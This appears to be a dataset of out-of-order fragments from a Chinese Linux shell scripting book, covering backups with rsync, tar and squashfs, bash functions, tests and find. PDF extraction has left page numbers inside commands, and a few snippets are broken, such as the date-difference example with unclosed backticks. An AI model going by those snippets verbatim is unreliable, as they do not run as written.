    {"text": "1. 手动指定处理器数量 10 pbzip2的-p选项可以手动指定处理器核心的数量。 如果无法自动检测处理器核心数量或是 希望能够释放一些处理核心供其他任务使用，-p选项就能派上用场了： 11 pbzip2 -p4 myfile.tar 上面的命令告诉pbzip2使用4个处理器核心。"},
    {"text": "但是创建squashfs文件的话，则 需要使用包管理器安装squashfs-tools： $ sudo apt-get install squashfs-tools 或者 $ yum install squashfs-tools 7.7.2 实战演练 (1) 使用mksquashfs命令添加源目录和文件，创建一个squashfs文件： $ mksquashfs SOURCES compressedfs.squashfs SOURCES可以是通配符、文件或目录路径。"},
    {"text": "例如： $ sudo mksquashfs /etc test.squashfs Parallel mksquashfs: Using 2 processors Creating 4.0 filesystem on test.squashfs, block size 131072. [=======================================] 1867/1867 100% 还有更多的细节信息会出现在终端上。"},
    {"text": "(2) 利用环回形式挂载squashfs文件： # mkdir /mnt/squash # mount -o loop compressedfs.squashfs /mnt/squash 你可以通过/mnt/squashfs访问文件内容。"},
    {"text": "在创建 squashfs 文件时排除部分文件 2 选项-e可以排除部分文件和目录： $ sudo mksquashfs /etc test.squashfs -e /etc/passwd /etc/shadow 3 其中，选项-e用于将文件/etc/passwd和/etc/shadow排除在外。 也可以将需要排除的文件名列表写入文件，然后用选项-ef指定该文件： 4 $ cat excludelist /etc/passwd /etc/shadow 5 $ sudo mksquashfs /etc test.squashfs -ef excludelist 如果希望在排除文件列表中使用通配符，需要使用-wildcard选项。"},
    {"text": "8 7.8.1 实战演练 9 (1) 将源目录复制到目的路径： $ rsync -av source_path destination_path 10 例如： $ rsync -av /home/slynux/data slynux@192.168.0.6:/home/backups/data 11 其中：  -a表示进行归档操作；"},
    {"text": "230 第 7 章 B 计划 (2) 将数据备份到远程服务器或主机： $ rsync -av source_dir username@host:PATH 要想保持两端的数据同步，需要定期运行同样的rsync命令。"},
    {"text": "(3) 下面的命令可以将远程主机上的数据恢复到本地： $ rsync -av username@host:PATH destination rsync命令用SSH连接远程主机，因此必须使用user@host这种形式设定远程 主机的地址，其中user代表用户名，host代表远程主机的IP地址或主机名。"},
    {"text": "例如： $ rsync -avz source destination (5) 将一个目录中的内容同步到另一个目录： $ rsync -av /home/test/ /home/backups 这条命令将源目录（/home/test）中的内容（不包括目录本身）复制到现有的backups目 录中。 (6) 将包括目录本身在内的内容复制到另一个目录中： $ rsync -av /home/test /home/backups 这条命令将包括源目录本身（/home/test）在内的内容复制到新的backups目录中。 就 路 径 格 式 而 言 ， 如 果 我 们 在 源 路 径 末 尾 使 用 / ， 那 么 rsync 会 将 sourch_path中结尾目录内所有内容复制到目的地。 如果没有在源路径末尾使用/，rsync会将sourch_path中的结尾目录本身 也复制过去。 选项-r强制rsync以递归方式复制目录中所有的内容。"},
    {"text": "本地路径和远程路径形式 如下： 7.8 使用 rsync 备份系统快照 231  /home/user/data(本地路径) 1  user@192.168.0.6:/home/backups/data（远程路径） /home/slynux/data 指定的是 执行 rsync 命令的那台主 机上 的绝对 路径 。"},
    {"text": "4 1. 在使用 rsync 进行归档时排除部分文件 选项--exclude和--exclude-from可以指定不需要传输的文件： 5 --exclude PATTERN 可以使用通配符指定需要排除的文件。"},
    {"text": "8 2. 在更新 rsync 备份时，删除不存在的文件 默认情况下，rsync并不会在目的端删除那些在源端已不存在的文件。 如果要删除这类文件， 9 可以使用rsync的--delete选项： $ rsync -avz SOURCE DESTINATION --delete 10 3. 定期备份 你可以创建一个cron任务来定期进行备份。"},
    {"text": "11 下面是一个简单的例子： $ crontab -ev 12 添加上这么一行： 0 */10 * * * rsync -avz /home/code user@IP_ADDRESS:/home/backups 上面的crontab项将rsync调度为每10小时运行一次。"},
    {"text": "14 232 第 7 章 B 计划 */10处于crontab语法中的钟点位（hour position） ，/10表明每10小时执行一次备份。 如果 */10出现在分钟位（minutes position） ，那就是每10分钟执行一次备份。"},
    {"text": "如果在出现问题的时 候你立刻就能发现，然后使用最近的快照来恢复，那么这种方法是有用的。 但如果你没有及时发 现问题，直到又制作了新的快照，先前正确的数据已被目前存在错误的数据覆盖，这种方法就派 不上用场了。"},
    {"text": "7.9.1 实战演练 使用tar创建第一份完整备份： tar -cvz /backup/full.tgz /home/user 使用find命令的-newer选项确定自上次完整备份之后，都有哪些文件作出了改动，然后创 建一份新的归档： tar -czf day-`date +%j`.tgz `find /home/user –newer /backup/full.tgz` 7.9.2 工作原理 find命令会生成自上次创建完整备份（/backup/full.tgz）以来有改动的所有文件的 列表。"},
    {"text": "9 还是使用savefs选项，将多个分区作为fsarchiver最后的参数： fsarchiver savefs backup.fsa /dev/sda1 /dev/sda2 10 (3) 从备份归档中恢复分区。 使用fsarchiver的restfs选项： 11 fsarchiver restfs backup.fsa id=0,dest=/dev/sda1 id=0 表 明 我 们 希 望 从 备 份 归 档 中 提 取 第 一 个 分 区 的 内 容 ， 将 其 恢 复 到 由 dest=/ 12 dev/sda1所指定的分区。"},
    {"text": "14 234 第 7 章 B 计划 像之前一样，使用restfs选项： fsarchiver restfs backup.fsa id=0,dest=/dev/sda1 id=1,dest=/dev/sdb1 我们在命令中使用了两组id，dest告诉fsarchiver从备份中将前两个分区的内容恢复到指 定的分区。"},
    {"text": "图 7-1 8.1 简介 235 1 第 8 章 2 无网不利 3 4 本章内容  网络设置  使用SSH实现端口转发 5  ping!  在本地挂载点上挂载远程驱动器  跟踪IP路由  分析网络流量与端口  列出网络中所有的活动主机  测量网络带宽 6  使用SSH在远程主机上执行命令  创建套接字  在远程主机上执行图形化命令  搭建网桥  7 通过网络传输文件  Internet连接共享  连接无线网络  使用iptables架设简易防火墙  实现SSH的无密码自动登录  创建虚拟私有网络 8 8.1 简介 9 联网就是将计算机互联，使其之间得以交换信息的过程。"},
    {"text": "12 —————————— ① TCP/IP协议栈中的各层对于其数据处理单元都有各自的术语，比如bit（比特，对应于物理层）、frame（帧，对应 于数据链路层）、datagram（数据报，对应于IP层）、segment（段，对应于TCP层）、message（消息，对应于应用 14 层）。"},
    {"text": "index time commandOrScriptName. 1.10.3 工作原理 Unix纪元时被定义为从世界标准时间（Coordinated Universal Time，UTC）① 1970年1月1日0 时0分0秒起至当前时刻的总秒数，不包括闰秒②。"},
    {"text": "下面的命令计算了两个日期之间 相隔了多少秒： secs1=`date -d \"Jan 2 1970\" secs2=`date -d \"Jan 3 1970\" echo \"There are èxpr $secs2 - $secs1` seconds between Jan 2 and Jan 3\" There are 86400 seconds between Jan 2 and Jan 3 对用户而言，以秒为单位显示从1970年1月1日午夜截止到当前的秒数，实在是不太容易读懂。"},
    {"text": "表 1-1 日期内容 格 式 工作日（weekday） %a （例如：Sat） %A （例如：Saturday） 月 %b （例如：Nov） %B （例如：November） 日 %d （例如：31） 特定格式日期（mm/dd/yy） %D （例如：10/18/10） 年 %y （例如：10） %Y （例如：2010） —————————— ① UTC（Coordinated Universal Time），又称世界标准时间或世界协调时间。 UTC是以原子时秒长为基础，在时刻上 尽量接近于世界时的一种时间计量系统。 ② 闰秒是指为保持协调世界时接近于世界时时刻，由国际计量局统一规定在年底或年中（也可能是季末）对协调世 界时增加或减少1秒的调整。"},
    {"text": "1.11 调试脚本 27 （续） 1 日期内容 格 式 小时 %I 或 %H （例如：08） 分钟 %M （例如：33） 2 秒 %S （例如：10） 纳秒 %N （例如：695208515） Unix纪元时（以秒为单位） %s （例如：1290049486） 3 1.10.4 补充内容 4 编写以循环方式运行的监控脚本时，设置时间间隔是必不可少的。"},
    {"text": "下面的脚本使用tput和sleep从0开 始计时到40秒： #!/bin/bash 6 #文件名: sleep.sh echo Count: tput sc 7 # 循环40秒 for count in `seq 0 40` do tput rc tput ed 8 echo -n $count sleep 1 done 9 在上面的例子中，变量依次使用了由seq命令生成的一系列数字。"},
    {"text": "在每次循环中，通过tput rc恢复之前存储的光标位置，在终端中打印出新的count值， 然后使用tputs ed清除从当前光标位置到行尾之间的所有内容。"},
    {"text": "例如： #!/bin/bash #文件名: debug.sh for i in {1..6}; do set -x echo $i set +x done echo \"Script executed\" 在上面的脚本中，只会打印出echo $i的调试信息，因为使用-x和+x对调试区域进行 了限制。"},
    {"text": "请看下面的代码： #!/bin/bash function DEBUG() { [ \"$_DEBUG\" == \"on\" ] && $@ || : } for i in {1..10} do DEBUG echo \"I is $i\" done 可以将调试功能设置为on来运行上面的脚本： 1.12 函数和参数 29 $ _DEBUG=on ./script.sh 1 我们在每一条需要打印调试信息的语句前加上DEBUG。 如果没有把 _DEBUG=on传递给脚 本，那么调试信息就不会打印出来。"},
    {"text": "可以 使用下面的命令将其重定向到文件中： 10 sh -x testScript.sh 2> debugout.txt Bash 4.0以及后续版本支持对调试输出使用自定义文件描述符： 11 exec 6> /tmp/debugout.txt BASH_XTRACEFD=6 12 1.12 函数和参数 函数和别名乍一看很相似，不过两者在行为上还是略有不同。"},
    {"text": "(1) 函数可以这样定义： function fname() { statements; } 或者 fname() { statements; } 甚至是这样（对于简单的函数）： fname() { statement; } (2) 只需使用函数名就可以调用函数： $ fname ; # 执行函数 (3) 函数参数可以按位置访问，$1是第一个参数，$2是第二个参数，以此类推： fname arg1 arg2 ; # 传递参数 以下是函数fname的定义。 在函数fname中，包含了各种访问函数参数的方法。 fname() { echo $1, $2; #访问参数1和参数2 echo \"$@\"; #以列表的方式一次性打印所有参数 echo \"$*\"; #类似于$@，但是所有参数被视为单个实体 return 0; #返回值 } 传入脚本的参数可以通过下列形式访问。"},
    {"text": " \"$@\"被扩展成\"$1\" \"$2\" \"$3\"等。  \"$*\"被扩展成\"$1c$2c$3\"，其中c是IFS的第一个字符。  \"$@\"要比\"$*\"用得多。"},
    {"text": "别名的参数添加到命令的尾 部，因此lsg txt就被扩展成了ls | grep txt： 2 $> alias lsg='ls | grep' $> lsg txt file1.txt file2.txt 3 file3.txt  如果想获得/sbin/ifconfig文件中设备对应的IP地址，可以尝试这样做： 4 $> alias wontWork='/sbin/ifconfig | grep' $> wontWork eth0 eth0 Link encap:Ethernet HWaddr 00:11::22::33::44:55  grep命令找到的是字符串eth0，而不是IP地址。 如果我们使用函数来实现的话，可以将 5 设备名作为参数传入ifconfig，不再交给grep： $> function getIP() { /sbin/ifconfig $1 | grep 'inet '; } 6 $> getIP eth0 inet addr:192.168.1.2 Bcast:192.168.255.255 Mask:255.255.0.0 1.12.2 补充内容 7 让我们再研究一些Bash函数的技巧。"},
    {"text": "下面的语句将所有用户可生成的进程数限制为100： hard nproc 100 2. 导出函数 函数也能像环境变量一样用export导出，如此一来，函数的作用域就可以扩展到子进程中： export -f fname $> function getIP() { /sbin/ifconfig $1 | grep 'inet '; } $> echo \"getIP eth0\" >test.sh $> sh test.sh sh: getIP: No such file or directory $> export -f getIP $> sh test.sh inet addr: 192.168.1.2 Bcast: 192.168.255.255 Mask:255.255.0.0 3. 读取命令返回值（状态） 命令的返回值被保存在变量$?中。"},
    {"text": "下面的脚本可以报告命令是否成功结束： #!/bin/bash # 文件名 : success_test.sh # 对命令行参数求值，比如 success_test.sh ‘ls | grep txt’ eval $@ if [ $? -eq 0 ]; then echo \"$CMD executed successfully\" else echo \"$CMD terminated unsuccessfully\" fi 4. 向命令传递参数 大多数应用都能够接受不同格式的参数。"},
    {"text": "那么，它有如下几种执行方式：  $ command -p -v -k 1 file  $ command -pv -k 1 file 1.13 将一个命令的输出发送给另一个命令 33  $ command -vpk 1 file 1  $ command file -pvk 1 在脚本中，命令行参数可以依据其在命令行中的位置来访问。"},
    {"text": "下面的代码显示出了所有的命令行参数： 4 $ cat showArgs.sh for i in `seq 1 $#` do 5 echo $i is $1 shift done $ sh showArgs.sh a b c 1 is a 6 2 is b 3 is c 7 1.13 将一个命令的输出发送给另一个命令 Unix shell脚本最棒的特性之一就是可以轻松地将多个命令组合起来生成输出。"},
    {"text": "一个命令的输 8 出可以作为另一个命令的输入，而这个命令的输出又会传递至下一个命令，以此类推。 这种命令 组合的输出可以被存储在变量中。 这则攻略将演示如何组合多个命令并读取其输出。"},
    {"text": "(1) 先从组合两个命令开始： $ ls | cat -n > out.txt ls（列出当前目录内容）的输出被传给cat -n，后者为通过stdin所接收到的输入内容 加上行号，然后将输出重定向到文件out.txt。"},
    {"text": "例如： cmd_output=$(ls | cat -n) echo $cmd_output 另一种方法叫作反引用（有些人也称它为反标记），也可以用于存储命令输出： cmd_output=`COMMANDS` 例如： cmd_output=`ls | cat -n` echo $cmd_output 反引用与单引号可不是一回事，该字符位于键盘的 ~ 键上。"},
    {"text": "$> pwd / $> (cd /bin; ls) awk bash cat... $> pwd / 1.1 1.1 4 4 在不按下回车键的情况下读入 在不按下回车键的情况下读入 n n 个字符 个字符 35 当命令在子shell中执行时，不会对当前shell造成任何影响；"},
    {"text": "2. 通过引用子shell的方式保留空格和换行符 2 假设我们使用子shell或反引用的方法将命令的输出保存到变量中，为了保留输出的空格和换 行符（\\n），必须使用双引号。"},
    {"text": "例如： 3 $ cat text.txt 1 2 3 4 $ out=$(cat text.txt) $ echo $out 1 2 3 # 丢失了 1 、 2 、 3 中的 \\n 5 $ out=\"$(cat text.txt)\" $ echo $out 1 2 6 3 1.14 在不按下回车键的情况下读入 n 个字符 7 Bash命令read能够从键盘或标准输入中读取文本。"},
    {"text": "编程语言的大多数输入库都是从键盘读取输入，当回 8 车键按下的时候，标志着输入完毕。 但有时候是没法按回车键的，输入结束与否是由读取到的字 符数或某个特定字符来决定的。"},
    {"text": "11 (1) 下面的语句从输入中读取 n 个字符并存入变量variable_name： read -n number_of_chars variable_name 12 例如： $ read -n 2 var $ echo $var 14 36 第 1 章 小试牛刀 (2) 用无回显的方式读取密码： read -s var (3) 使用read显示提示信息： read -p \"Enter input:\" var (4) 在给定时限内读取输入： read -t timeout var 例如： $ read -t 2 var # 在 2 秒内将键入的字符串读入变量 var (5) 用特定的定界符作为输入行的结束： read -d delim_char var 例如： $ read -d \":\" var hello: #var 被设置为 hello 1.15 持续运行命令直至执行成功 有时候命令只有在满足某些条件时才能够成功执行。"},
    {"text": "1.15.1 实战演练 定义如下函数： repeat() { while true do $@ && return done } 或者把它放入shell的rc文件，更便于使用： repeat() { while true; do $@ && return; done } 1.16 字段分隔符与迭代器 37 1.15.2 工作原理 1 函数repeat()中包含了一个无限while循环，该循环执行以函数参数形式（通过$@访问） 传入的命令。"},
    {"text": "为了避免这种情况，可以使用shell的内 建命令:，该命令的退出状态总是为0： 5 repeat() { while :; do $@ && return; done } 尽管可读性不高，但是肯定比第一种方法快。"},
    {"text": "一种方法如下： repeat wget -c http://www.example.com/software-0.1.tar.gz 如果采用这种形式，会产生很多发往www.example.com的流量，有可能会对服务器造成影响。"},
    {"text": "） 要解决这个问题，我们可以修改函数，加入一段延时： 9 repeat() { while :; do $@ && return; sleep 30; done } 这样命令每30秒才会运行一次。"},
    {"text": "oldIFS=$IFS IFS=, #IFS现在被设置为, for item in $data; do echo Item: $item done IFS=$oldIFS 输出如下： Item: name Item: gender Item: rollno Item: location IFS的默认值为空白字符（换行符、制表符或者空格）。"},
    {"text": "可以按照下面的方法巧妙地利用IFS打印出用户以及他们默认的shell： #!/bin/bash #用途: 演示IFS的用法 line=\"root:x:0:0:root:/root:/bin/bash\" oldIFS=$IFS; IFS=\":\" count=0 for item in $line; do 1.16 字段分隔符与迭代器 39 1 [ $count -eq 0 ] && user=$item; [ $count -eq 6 ] && shell=$item; let count++ done; IFS=$oldIFS 2 echo $user's shell is $shell; 输出为： 3 root's shell is /bin/bash 循环在对一系列值进行迭代时非常有用。"},
    {"text": "6 我们可以使用echo命令生成各种值序列： echo {1..50}; # 生成一个从 1~50 的数字序列 echo {a..z} {A..Z}; # 生成大小写字母序列 7 同样，我们可以将这些方法结合起来对数据进行拼接（concatenate）。"},
    {"text": "下面的代码中，变量i在每次迭代的过程里都会保存一个范围在a到z之间的字符： 8 for i in {a..z}; do actions; done;  迭代指定范围的数字 9 for((i=0;i<10;i++)) { commands; #使用变量$i } 10  循环到条件满足为止 当条件为真时，while循环继续执行；"},
    {"text": "例如： x=0; until [ $x -eq 9 ]; #条件是[$x -eq 9 ] do let x++; echo $x; done 1.17 比较与测试 程序中的流程控制是由比较语句和测试语句处理的。"},
    {"text": "实战演练 来看看用于比较和测试的各种方法：  if条件 if condition; then commands; fi  else if和else if condition; then commands; else if condition; then commands; else commands; fi if和else语句能够嵌套使用。 if的条件判断部分可能会变得很长，但可以用 逻辑运算符将它变得简洁一些：  [ condition ] && action; # 如果condition为真，则执行action  [ condition ] || action; # 如果condition为假，则执行action &&是逻辑与运算符，||是逻辑或运算符。"},
    {"text": "2 [$var -eq 0 ] or [ $var -eq 0] 对变量或值进行算术条件测试： 3 [ $var -eq 0 ] # 当 $var 等于 0 时，返回真 [ $var -ne 0 ] # 当 $var 不为 0 时，返回真 其他重要的操作符如下。"},
    {"text": "可以按照下面的方法结合多个条件进行测试： 6 [ $var1 -ne 0 -a $var2 -gt 2 ] # 使用逻辑与 -a [ $var1 -ne 0 -o $var2 -gt 2 ] # 逻辑或 -o 7  文件系统相关测试 我们可以使用不同的条件标志测试各种文件系统相关的属性。"},
    {"text": "8 ● [ -f $file_var ]：如果给定的变量包含正常的文件路径或文件名，则返回真。 ● [ -x $var ]：如果给定的变量包含的文件可执行，则返回真。 ● [ -d $var ]：如果给定的变量包含的是目录，则返回真。 9 ● [ -e $var ]：如果给定的变量包含的文件存在，则返回真。 ● [ -c $var ]：如果给定的变量包含的是一个字符设备文件的路径，则返回真。 ● [ -b $var ]：如果给定的变量包含的是一个块设备文件的路径，则返回真。 10 ● [ -w $var ]：如果给定的变量包含的文件可写，则返回真。 ● [ -r $var ]：如果给定的变量包含的文件可读，则返回真。 ● [ -L $var ]：如果给定的变量包含的是一个符号链接，则返回真。"},
    {"text": "11 考虑下面的例子： fpath=\"/etc/passwd\" 12 if [ -e $fpath ]; then echo File exists; else echo Does not exist; 14 fi 42 第 1 章 小试牛刀  字符串比较 进行字符串比较时，最好用双中括号，因为有时候采用单个中括号会产生错误。"},
    {"text": "● [[ $str1 == $str2 ]]：这是检查字符串是否相同的另一种写法。 测试两个字符串是否不同。 ● [[ $str1 != $str2 ]]：如果str1和str2不相同，则返回真。"},
    {"text": "● [[ $str1 > $str2 ]]：如果str1的字母序比str2大，则返回真。 ● [[ $str1 < $str2 ]]：如果str1的字母序比str2小，则返回真。"},
    {"text": "使用逻辑运算符 && 和 || 能够很容易地将多个条件组合起来： if [[ -n $str1 ]] && [[ -z $str2 ]] ; then commands; fi 例如： str1=\"Not empty \" str2=\"\" if [[ -n $str1 ]] && [[ -z $str2 ]]; then echo str1 is nonempty and str2 is empty string. fi 1.18 使用配置文件定制 bash 43 输出如下： 1 str1 is nonempty and str2 is empty string. test命令可以用来测试条件。"},
    {"text": "例如： if [ $var -eq 0 ]; then echo \"True\"; fi 3 也可以写成： if test $var -eq 0 ; then echo \"True\"; fi 4 注意，test是一个外部程序，需要衍生出对应的进程，而 [ 是Bash的一个内 部函数，因此后者的执行效率更高。"},
    {"text": "7 放入配置文件中的常见命令如下： # 定义 ls 命令使用的颜色 LS_COLORS='no=00:di=01;46:ln=00;36:pi=40;33:so=00;35:bd=40;33;01' export LS_COLORS 8 # 主提示符 PS1='Hello $USER'; export PS1 # 正常路径之外的个人应用程序安装目录 PATH=$PATH:/opt/MySpecialApplication/bin; export PATH 9 # 常用命令的便捷方式 function lc () {/bin/ls -C $* ; } 应该使用哪些定制文件？"},
    {"text": "11 实战演练 12 当用户登录shell时，会执行下列文件： /etc/profile, $HOME/.profile, $HOME/.bash_login, $HOME/.bash_profile / 14 44 第 1 章 小试牛刀 注意，如果你是通过图形化登录管理器登入的话，是不会执行/etc/profile、 $HOME/.profile和$HOME/.bash_profile这3个文件的。"},
    {"text": "交互式shell（如X11终端会话）或ssh执行单条命令（如ssh 192.168.1.1 ls /tmp）时， 会读取并执行以下文件： /etc/bash.bashrc $HOME/.bashrc 如果运行如下脚本： $> cat myscript.sh #!/bin/bash echo \"Running\" 不会执行任何配置文件，除非定义了环境变量BASH_ENV： $> export BASH_ENV=~/.bashrc $> ./myscript.sh 使用ssh运行下列命令时： ssh 192.168.1.100 ls /tmp 会启动一个bash shell，读取并执行/etc/bash.bashrc和$HOME/.bashrc，但不包括/etc/profile或.profile。 如果调用ssh登录会话： ssh 192.168.1.100 这会创建一个新的登录bash shell，该shell会读取并执行以下文件： /etc/profile /etc/bash.bashrc $HOME/.profile or .bashrc_profile 危险：像传统的Bourne shell、ash、dash以及ksh这类shell，也会读取配置文件。"},
    {"text": "例如： alias l \"ls -l\" /etc/bash.bashrc /etc/bashrc 也可以用来保存个人配置，比如设置需要由其他bash实例继承的路径信息，就像下面这样： 1.18 使用配置文件定制 bash 45 CLASSPATH=$CLASSPATH:$HOME/MyJavaProject; export CLASSPATH 1 $HOME/.bash_login $HOME/.bash_profile $HOME/.profile 如果.bash_login或.bash_profile存在，则不会读取.profile。"},
    {"text": "当用户登出会话时，会执行下列文件： $HOME/.bash_logout 5 例如，远程登录的用户需要在登出的时候清屏： $> cat ~/.bash_logout 6 # 远程登出之后清屏 Clear 7 8 9 10 11 12 14 46 第 2 章 命令之乐 第 2 章 命令之乐 本章内容  用cat进行拼接  临时文件命名与随机数  录制并回放终端会话  分割文件与数据  查找并列出文件  根据扩展名切分文件名  玩转xargs  多个文件的重命名与移动  用tr进行转换  拼写检查与词典操作  校验和与核实  交互输入自动化  加密工具与散列  利用并行进程加速命令执行  行排序  检查目录以及其中的文件与子目录 2.1 简介 类Unix系统享有最棒的命令行工具。"},
    {"text": "2.2.1 实战演练 cat命令是一个经常会用到的简单命令，它本身表示conCATenate（拼接） 。 2.2 用 cat 进行拼接 47 用cat读取文件内容的一般语法是： 1 $ cat file1 file2 file3 ... 该命令将作为命令行参数的文件内容拼接在一起并将结果发送到stdout。 2  打印单个文件的内容 $ cat file.txt This is a line inside file.txt 3 This is the second line inside file.txt  打印多个文件的内容 4 $ cat one.txt two.txt This line is from one.txt This line is from two.txt 5 cat命令不仅可以读取文件、拼接数据，还能够从标准输入中读取。 管道操作符可以将数据作为cat命令的标准输入： 6 OUTPUT_FROM_SOME COMMANDS | cat cat也可以将文件内容与终端输入拼接在一起。 7 下面的命令将stdin和另一个文件中的数据组合在一起： $ echo 'Text through stdin' | cat - file.txt 在上例中，-被作为stdin文本的文件名。"},
    {"text": "10 1. 去掉多余的空白行 有时候文本文件中可能包含多处连续的空白行。 如果你想删除这些额外的空白行，可以这 11 样做： $ cat -s file 考虑下面的例子: 12 $ cat multi_blanks.txt line 1 14 48 第 2 章 命令之乐 line2 line3 line4 $ cat -s multi_blanks.txt # 压缩相邻的空白行 line 1 line 2 line 3 line 4 另外也可以用tr删除所有的空白行，我们会在2.6节详细讨论。"},
    {"text": "例如： $ cat file.py def function(): var = 5 next = 6 third = 7 $ cat -T file.py def function(): ^Ivar = 5 ^I^Inext = 6 ^Ithird = 7^I 3. 行号 cat命令的-n选项会在输出的每一行内容之前加上行号。 例如： $ cat lines.txt line line line $ cat -n lines.txt 1 line 2 line 3 line 2.3 录制并回放终端会话 49 别担心，cat命令绝不会修改你的文件，它只是根据用户提供的选项在 1 stdout中生成一个修改过的输出而已。"},
    {"text": "2 $> echo \"This will vanish\" > myfile $> cat -n myfile >myfile cat: myfile: input file is output file 3 $> cat myfile | cat -n >myfile $> ls -l myfile -rw-rw-rw-. 1 user user 0 Aug 24 00:14 myfile ; # myfile 为空文件 4 选项-n会为包括空行在内的所有行生成行号。"},
    {"text": "10 2.3.2 实战演练 开始录制终端会话： 11 $ script -t 2> timing.log -a output.session 完整的录制过程如下： 12 $ script -t 2> timing.log -a output.session # 演示 tclsh $ tclsh 14 % puts [expr 2 + 2] 50 第 2 章 命令之乐 4 % exit $ exit 注意，该攻略不适用于不支持单独将stderr重定向到文件的shell，比如csh shell。"},
    {"text": "利用文件timing.log和output.session，可以按照下面的方法回放命令执行过程： $ scriptreplay timing.log output.session # 播放命令序列及输出 2.3.3 工作原理 我们通常会录制桌面环境视频来作为教程使用。"},
    {"text": "2.4.2 实战演练 要列出给定目录下所有的文件和子目录，可以采用下面的语法： $ find base_path 2.4 查找并列出文件 51 bash_path可以是任意位置（例如/home/slynux） ，find会从该位置开始向下查找。"},
    {"text": "随后会 4 详细讨论xargs命令： $> echo \"test\" > \"file name\" $> find . -type f -print | xargs ls -l 5 ls: cannot access ./file: No such file or directory ls: cannot access name: No such file or directory $> find . -type f -print0 | xargs -0 ls -l -rw-rw-rw-. 1 user group 5 Aug 24 15:00 ./file name 6 2.4.3 补充内容 7 上面的例子演示了如何使用find列出文件层次中所有的文件和目录。 find命令能够基于通 配符或正则表达式、目录树深度、文件日期、文件类型等条件查找文件。"},
    {"text": "$ find /home/slynux -name '*.txt' -print find命令有一个选项-iname（忽略字母大小写） ，该选项的作用和-name类似，只不过在匹 11 配名字时会忽略大小写。"},
    {"text": "例如： $ ls example.txt EXAMPLE.txt file.txt 12 $ find . -iname \"example*\" -print ./example.txt ./EXAMPLE.txt 14 52 第 2 章 命令之乐 find命令支持逻辑操作符。"},
    {"text": "$ ls new.txt some.jpg text.pdf stuff.png $ find . \\( -name '*.txt' -o -name '*.pdf' \\) -print ./text.pdf ./new.txt 上面的命令会打印出所有的.txt和.pdf文件，因为这个find命令能够匹配所有这两类文件。"},
    {"text": "下面的命令演示了如何使用-and操作符选择名字以s开头且其中包含e的文件： $ find . \\( -name '*e*' -and -name 's*' \\) ./some.jpg -path 选项可以限制所匹配文件的路径及名称。"},
    {"text": "例如， $ find /home/users -path '*/slynux/*' -name '*.txt' –print能够匹配文件/home/users/slynux/readme.txt，但无法匹 配/home/users/slynux.txt。"},
    {"text": "下面的命令可以匹配.py或.sh文件： $ ls new.PY next.jpg test.py script.sh $ find . -regex '.*\\.(py\\|sh\\)$' ./test.py script.sh -iregex选项可以让正则表达式在匹配时忽略大小写。 例如： $ find . -iregex '.*\\(\\.py\\|\\.sh\\)$' ./test.py ./new.PY ./script.sh 2.4 查找并列出文件 53 2. 否定参数 1 find也可以用!排除匹配到的模式： $ find . ! -name \"*.txt\" -print 2 上面的find命令能够匹配所有不以.txt结尾的文件。 该命令的运行结果如下： $ ls list.txt new.PY new.txt next.jpg test.py 3 $ find . ! -name \"*.txt\" -print . ./next.jpg 4 ./test.py ./new.PY 3. 基于目录深度的搜索 5 find命令在查找时会遍历完所有的子目录。"},
    {"text": "8 下面的例子展示了如何列出运行在含有文件bundlemaker.def的目录下的所有任务： $ find -L /proc -maxdepth 1 -name 'bundlemaker.def' 2>/dev/null 9  -L选项告诉find命令跟随符号链接  从/proc目录开始查找 10  -maxdepth 1将搜索范围仅限制在当前目录  -name 'bundlemaker.def'指定待查找的文件  2>/dev/null将有关循环链接的错误信息发送到空设备中 11 -mindepth选项类似于-maxdepth，不过它设置的是find开始进行查找的最小目录深度。"},
    {"text": "例如，打印出深度距离 当前目录至少两个子目录的所有名字以f开头的文件： 12 $ find . -mindepth 2 -name \"f*\" -print ./dir1/dir2/file1 ./dir3/dir4/f2 14 54 第 2 章 命令之乐 即使当前目录或dir1和dir3中包含以f开头的文件，它们也不会被打印出来。"},
    {"text": "例如， 如果-maxdepth出现在-type之后，find首先会找出-type所指定的文件，然 后再在匹配的文件中过滤掉不符合指定深度的那些文件。 但是如果反过来，在 -type之前指定目录深度，那么find就能够在找到所有符合指定深度的文件后， 再检查这些文件的类型，这才是最有效的搜索之道。"},
    {"text": "例如，只列出普通文件： $ find . -type f -print 只列出符号链接： $ find . -type l -print 表2-1列出了find能够识别出的类型与参数。 表 2-1 文件类型 类型参数 普通文件 f 符号链接 l 目录 d 字符设备 c 块设备 b 套接字 s FIFO p 2.4 查找并列出文件 55 5. 根据文件的时间戳进行搜索 1 Unix/Linux文件系统中的每一个文件都有3种时间戳，如下所示。"},
    {"text": " 访问时间（-atime）：用户最近一次访问文件的时间。 2  修改时间（-mtime）：文件内容最后一次被修改的时间。  变化时间（-ctime）：文件元数据（例如权限或所有权）最后一次改变的时间。"},
    {"text": "6 邮  打印出在最近7天内被访问过的所有文件。 电 $ find . -type f -atime -7 -print 7  打印出恰好在7天前被访问过的所有文件。 $ find . -type f -atime 7 -print 8  打印出访问时间超过7天的所有文件。 $ find . -type f -atime +7 -print -mtime选项会根据修改时间展开搜索，-ctime会根据变化时间展开搜索。"},
    {"text": "打印出7分钟之前访问的所有文件： 12 $ find . -type f -amin +7 -print –newer选项可以指定一个用于比较修改时间的参考文件，然后找出比参考文件更新的（更 近的修改时间）所有文件。 14 56 第 2 章 命令之乐 例如，找出比file.txt修改时间更近的所有文件： $ find . -type f -newer file.txt -print find命令的时间戳处理选项有助于编写系统备份和维护脚本。"},
    {"text": "6. 基于文件大小的搜索 可以根据文件的大小展开搜索： # 大于 2KB 的文件 $ find . -type f -size +2k # 小于 2KB 的文件 $ find . -type f -size -2k # 大小等于 2KB 的文件 $ find . -type f -size 2k 除了k之外，还可以用其他文件大小单位。"},
    {"text": "我们可以用 下面的方法找出那些没有设置好执行权限的PHP文件： $ find . -type f -name \"*.php\" ! -perm 644 –print PHP/custom.php $ ls -l PHP/custom.php -rw-rw-rw-. root root 513 Mar 13 2016 PHP/custom.php 我们也可以根据文件的所有权进行搜索。"},
    {"text": "1 例如，可以使用下面的命令打印出用户slynux拥有的所有文件： $ find . -type f -user slynux -print 2 8. 利用 find 执行相应操作 find命令能够对其所查找到的文件执行相应的操作。"},
    {"text": "(1) 删除匹配的文件 4 find命令的-delete选项可以删除所匹配到的文件。 下面的命令能够从当前目录中删 除.swp文件： 5 $ find . -type f -name \"*.swp\" -delete (2) 执行命令 6 利用-exec选项，find命令可以结合其他命令使用。"},
